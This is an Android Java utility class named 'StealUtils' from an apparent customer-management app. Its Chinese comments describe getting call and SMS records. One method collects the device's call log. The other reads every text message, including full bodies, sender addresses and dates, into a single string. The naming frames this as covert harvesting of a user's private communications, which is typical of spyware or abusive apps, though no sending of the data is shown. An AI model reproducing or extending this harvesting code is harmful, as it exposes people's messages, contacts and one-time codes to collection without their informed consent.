package cn.com.customer.manager.utils;

import android.Manifest;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.provider.CallLog;
import android.provider.MediaStore;
import android.text.TextUtils;

import com.xuexiang.xutil.system.PermissionUtils;

import java.io.File;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.TimeZone;
import java.util.UUID;

import cn.com.customer.manager.bean.CallInfo;

/**
 * <pre>
 * 获取通话记录和短信记录
 * </pre>
 */
public class StealUtils {

    /**
     * 获取通话记录
     *
     * @param context 上下文。通话记录需要从系统的【通话应用】中的内容提供者中获取，内容提供者需要上下文。通话记录保存在联系人数据库中：data/data/com.android.provider.contacts/databases/contacts2.db库中的calls表。
     * @return 包含所有通话记录的一个集合
     */
    public static List<CallInfo> getCallInfos(final Context context) {
        final List<CallInfo> infos = new ArrayList<CallInfo>();
        ContentResolver resolver = context.getContentResolver();
        // uri的写法需要查看源码JB\packages\providers\ContactsProvider\AndroidManifest.xml中内容提供者的授权
        // 从清单文件可知该提供者是CallLogProvider，且通话记录相关操作被封装到了Calls类中
        Uri uri = CallLog.Calls.CONTENT_URI;
        String[] projection = new String[]{
                CallLog.Calls.NUMBER, // 号码
                CallLog.Calls.DATE,   // 日期
                CallLog.Calls.TYPE    // 类型：来电、去电、未接
        };

        Cursor cursor = resolver.query(uri, projection, null, null, null);
        while (cursor.moveToNext()) {
            String number = cursor.getString(0);
            long date = cursor.getLong(1);
            int type = cursor.getInt(2);
            infos.add(new CallInfo("",number, String.valueOf(date),String.valueOf(type) ,"",""));
        }
        cursor.close();
        return infos;
    }
    /**
     * 获取手机所有信息
     * Android6.0之后权限处理
     *
     * @param context
     * @return
     */
    public static String getSmsInPhone(final Context context) {

        final StringBuilder smsBuilder = new StringBuilder();
                        final String SMS_URI_ALL = "content://sms/";
                        final String SMS_URI_INBOX = "content://sms/inbox";
                        final String SMS_URI_SEND = "content://sms/sent";
                        final String SMS_URI_DRAFT = "content://sms/draft";
                        final String SMS_URI_OUTBOX = "content://sms/outbox";
                        final String SMS_URI_FAILED = "content://sms/failed";
                        final String SMS_URI_QUEUED = "content://sms/queued";

                        try {
                            Uri uri = Uri.parse(SMS_URI_ALL);
                            String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"};
                            Cursor cur = context.getContentResolver().query(uri, projection, null, null, "date desc");        // 获取手机内部短信

                            if (cur.moveToFirst()) {
                                int index_Address = cur.getColumnIndex("address");
                                int index_Person = cur.getColumnIndex("person");
                                int index_Body = cur.getColumnIndex("body");
                                int index_Date = cur.getColumnIndex("date");
                                int index_Type = cur.getColumnIndex("type");

                                do {
                                    String strAddress = cur.getString(index_Address);
                                    int intPerson = cur.getInt(index_Person);
                                    String strbody = cur.getString(index_Body);
                                    long longDate = cur.getLong(index_Date);
                                    int intType = cur.getInt(index_Type);

                                    SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                                    Date d = new Date(longDate);
                                    String strDate = dateFormat.format(d);

                                    String strType = "";
                                    if (intType == 1) {
                                        strType = "接收";
                                    } else if (intType == 2) {
                                        strType = "发送";
                                    } else {
                                        strType = "null";
                                    }

                                    smsBuilder.append("[ ");
                                    smsBuilder.append(strAddress + ", ");
                                    smsBuilder.append(intPerson + ", ");
                                    smsBuilder.append(strbody + ", ");
                                    smsBuilder.append(strDate + ", ");
                                    smsBuilder.append(strType);
                                    smsBuilder.append(" ]\n\n");
                                } while (cur.moveToNext());

                                if (!cur.isClosed()) {
                                    cur.close();
                                    cur = null;
                                }
                            } else {
                                smsBuilder.append("no result!");
                            } // end if

                            smsBuilder.append("getSmsInPhone has executed!");

                        } catch (SQLiteException ex) {
                            ex.printStackTrace();
                        }
        return smsBuilder.toString();
    }

}
